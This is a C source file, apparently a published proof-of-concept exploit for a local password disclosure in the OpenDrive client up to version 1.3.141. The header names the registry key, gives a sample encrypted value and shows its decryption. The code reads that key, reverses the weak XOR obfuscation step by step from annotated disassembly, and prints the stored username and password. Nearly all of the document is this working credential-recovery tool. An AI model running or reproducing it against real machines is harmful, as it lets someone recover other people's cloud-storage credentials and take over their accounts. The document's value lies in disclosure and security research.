/*

Title: OpenDrive <= 1.3.141 Local Password Disclosure
Author(s): Glafkos Charalambous, George Nicolaou
Contact: glafkos[at]astalavista[dot]com, ishtus[at]astalavista[dot]com
Version: 1.3.141
Vendor: http://www.opendrive.com
Description: Authentication credentials used by the OpenDrive application are 
prone to local disclosure attacks due to a weak cryptographic algorithm implementation

Encrypted Values:
[HKEY_CURRENT_USER\CLSID\{6E830710-B00F-4bec-9BD7-F95C1F837D02}]
"Data1"=hex:6b,c3,24,c3,69,c3,6f,c3,00,00,04,c3,52,c3,01,c3,53,c3,00,c3,56,c3,0b,c3,54,c3,00,00

Decrypted Values:
Username: 0x41
Password: d3c0d3m3

*/

#include <stdio.h>
#include <wchar.h>
#include <windows.h>

int ReadRegistryKey( LPBYTE lpBuffer, LPDWORD lpBufferSize, HKEY hKey, 
          LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
{
  HKEY hKeyLocal;
  int nType;
  if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) 
    == ERROR_SUCCESS ) {
    if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, (LPDWORD)&nType,
      lpBuffer, lpBufferSize ) == ERROR_SUCCESS ) {
      return nType;
    }
    return -1;
  }
  return -1;
}

int GetRegistryValueSize( HKEY hKey, LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
{
  HKEY hKeyLocal;
  unsigned long nSize;
  if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) == ERROR_SUCCESS ) {
    if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, NULL, NULL, (LPDWORD)&nSize ) == ERROR_SUCCESS) {
      return (int)nSize;
    }
    return -1;
  }
  return -1;
}

void DecryptOpenDrive( unsigned short *ciphertxt, int len )
{
  short username[100] = {0};
  short password[100] = {0};
  
  int count = 0; // ECX
  int wchr = 0; // ESI
  int pos = 0; // EAX
  int round = 0; // EDX
  unsigned short tmp;
  short *output;
  output = (short *)&username;
  do {
    //00401626  |>  83F9 02       /CMP ECX,2
    //00401629  |.  7D 38         |JGE SHORT OpenDriv.00401663
    //0040162B  |.  0FB73453      |MOVZX ESI,WORD PTR DS:[EBX+EDX*2]
    //0040162F  |.  66:85F6       |TEST SI,SI
    //00401632  |.  75 0F         |JNZ SHORT OpenDriv.00401643
    if ( ( wchr = ciphertxt[round] ) ) {
      //00401643  |>  8D9A 5BC3FFFF |LEA EBX,DWORD PTR DS:[EDX-3CA5] // 0, 1
      tmp = round - 0x3CA5;
      //00401649  |.  33DE          |XOR EBX,ESI // ESI = ciph[0], ciph[1]
      tmp = tmp ^ (unsigned int)wchr;
      //0040164B  |.  8B748C 20     |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20] 
      //0040164F  |.  66:891C46     |MOV WORD PTR DS:[ESI+EAX*2],BX // out[0] = BX
      *output++ = tmp;
      //00401653  |.  40            |INC EAX // 0 -> 1
    }
    else {
      count++;
      if(count >= 2) break;
      //00401634  |.  8B748C 20     |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20]
      //00401638  |.  33DB          |XOR EBX,EBX
      //0040163A  |.  66:891C46     |MOV WORD PTR DS:[ESI+EAX*2],BX
      *output = 0;
      output = (short *)&password;
      //0040163E  |.  41            |INC ECX
      //0040163F  |.  33C0          |XOR EAX,EAX
    }
    round++;
  } 
  while(1); 
  wprintf(L"Username: %ls\nPassword: %ls\n",username, password);
}

int main() {
  int nRegistryKeySize;
  LPBYTE buffer;
  if ( (nRegistryKeySize = GetRegistryValueSize( HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) ) != -1 ) {
    buffer = (LPBYTE)calloc( nRegistryKeySize, sizeof(char) );
    if( ReadRegistryKey(buffer, (LPDWORD)&nRegistryKeySize, HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) != -1 ) {
      DecryptOpenDrive( (unsigned short *)buffer, nRegistryKeySize );
    }
    else {
    wprintf(L"Error reading registry key\n");
    }
  }
}